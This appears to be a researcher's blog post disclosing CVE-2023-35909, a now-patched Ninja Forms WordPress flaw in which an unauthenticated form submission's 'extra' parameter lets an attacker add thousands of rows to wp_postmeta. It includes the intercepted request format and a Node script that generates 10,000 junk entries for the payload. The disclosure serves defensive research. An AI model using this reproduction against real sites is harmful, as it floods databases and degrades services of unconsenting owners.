Skip to content

Filling the Database - Another Step Into WordPress Plugins (CVE-2023-35909)

Posted on:July 10, 2023

Key Takeaways

An unauthenticated attacker can manipulate a parameter of the request sent when filling a Ninja Forms (CVE-2023-35909).

By putting a large amount of random data into this parameter, the attacker can add many rows into a WordPress database table.

This action can be repeated an infinite amount of times, flooding the WordPress database.

It is now fixed in Ninja Forms 3.6.26!

Here is the link to the PatchStack report

Table of contents

Open Table of contents


Following a previous discovery, I decided to take a look at other plugins.

At the same time, I wanted to dig into semgrep rules, especially rules that follow taints. I decided to write a few of them, focusing on SQL injections, WordPress nonces for CSRF and generally dangerous PHP functions (call_user_func, for example).

The final goal was to automate the vulnerability research a bit:

  1. First, I pull plugins from the WordPress plugin API (at
  2. I then scan them with my custom semgrep rules. If a plugin has many matches, it might be worth a look!
  3. I have a look at the results, and decide to focus on a plugin.

Well, that’s in theory… In practice, I was overflowed by false (or maybe not?) positives and I could not determine easily which plugins to target. I am still refining the process a bit for the future. I’ll post info about the working setup sometimes later 🔥.

I decided to fall back to picking a plugin randomly, and praying to find something interesting by looking at it enough 😶‍🌫️

The Ninja Forms Plugin

Ninja Forms is a plugin to super-easily create forms to fill by your customers. There is a set of predefined forms you can customize, without coding involved.

Example Form

After watching this amazing interview of shubs on YouTube, I tried to follow the tips he gave. His main tip is to always make a map of the unauthenticated attack surface of the target component.

On Ninja Forms, I found two things that were attractive to me:

  1. The email templating system. After having looked at it in Magento, I am drawn to them like moths to a flame.
  2. The request that you send when filling a form is very large and has lots of parameters.

So I banged my head at the email templating system, but after my attempts did not find anything significant. I might come back to it one day 😉.

What Happens To Submitted Data?

If you fill a Ninja Form and you intercept the request with Burp, it looks like:

POST /wp-admin/admin-ajax.php HTTP/2to
Host: app.wp-research.test
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

action=nf_ajax_submit&security=<A_ WORDPRESS_NONCE_HERE>&formData=<LAAAAARGE_URL_ENCODED_JSON_FORM_DATA>

Here is an example of the content of the decoded formData parameter:

{"id":"1","fields":{"1":{"value":"test","id":1},"2":{"value":"","id":2},"3":{"value":"test","id":3},"4":{"value":"","id":4}},"settings":{"title":"Contact Me","created_at":"2023-07-04 07:07:40","form_title":"Contact Me","default_label_pos":"above","show_title":"1","clear_complete":"1","hide_complete":"1","logged_in":"0",/* TRUNCATED*/ "embed_form":"","currency_symbol":"","beforeForm":"","beforeFields":"","afterFields":"","afterForm":""},"extra":{}}

I played with all request parameters thinking that maybe one of them could lead to an injection somewhere. However, nothing came out of it.

Then, the extra parameter fell into scrutiny. This parameter was weird. Playing around the default Ninja Forms, this parameter was always empty in my requests.

But also, there was this bizarre comment (ninja-forms/includes/Actions/Save.php, L230):

// If we have extra data...
    if( isset( $data[ 'extra' ] ) ) {
        // Save that.
        $sub->update_extra_values( $data[ 'extra' ] );

Which told me that maybe there was something to do with that extra parameter.

In the above snippet, the $data['extra'] value is fed from the extra POST parameter when filling a form.

The $sub->update_extra_values line will put all data from the extra POST parameter into the protected property array $_extra_values of the $sub variable.

Line 239 below, we have:


The save function will save the form submission as a new WordPress post. All the values within the extra POST parameter will be saved in the wp_postmeta table.

The wp_postmeta table contains all the metadata linked to WordPress posts. They are in the key:value format and are heavily used by plugins to create additional functionalities for WordPress posts.

Plugins often use this table and the key:values they set up to aggregate their data.

The wp_postmeta table is often cited within articles to speed up a WordPress instance, as it might take up significant space. Optimization techniques are focused on this table.

It’s time to add some rows to the database!

Polluting the Database

The idea now is to generate a large amount of fake data and put it into the extra parameter of the POST request.

For example, we want something that looks like:

"extra": {
... More Data ...
  "JBSzGLdnMI": "jDTEyvjYEr",
  "vSPqxNOUYn": "XqKmHyoXFe",
  "rUCQDaxdDL": "STlhnijgaC",
  "weDIbiARrD": "STfwcvPGwb"
... More Data ...

To generate fake JSON data I use the following JS script:

// npm init -y
// Into the generated package.json file:
// "scripts": {
//    "dev": "node index.js"
// }
// npm install @faker-js/faker
// Into an index.js file, paste:
const { faker } = require('@faker-js/faker');
const fs = require("fs");

const json = {};
for (let i=0; i < 10_000; i++) {
  const key = faker.string.alpha(10);
  json[`${key}`] = faker.string.alpha(10);

fs.writeFileSync("output.json", JSON.stringify(json));
// npm run dev

The above script generates 10_000 entries in an output.json for a file size around 380 KB.

I could now take the generated JSON data and add it to the extra parameter in the intercepted request. (Inside Burp, I do right-click -> Paste from file -> Select output.json).

The server takes a while to respond to this request, as it processes the data and the extra parameter is reflected into the response.

If you now have a look at the database, you will see that the wp_postmeta table contains 10k+ rows containing random data (SELECT COUNT(*) from wp_postmeta):

Filled Database

The attacker can replay the request as much as he wants and pollute the database, many rows at a time.

While testing, I could push the number of rows added at once to 20k. Afterward, my tiny WordPress setup was a bit tired.

The limit of the number of rows is only limited by the POST request length accepted by the server.


I would like to give special thanks to snicco and the PatchStack staff at their Discord for giving very helpful tips 🤩!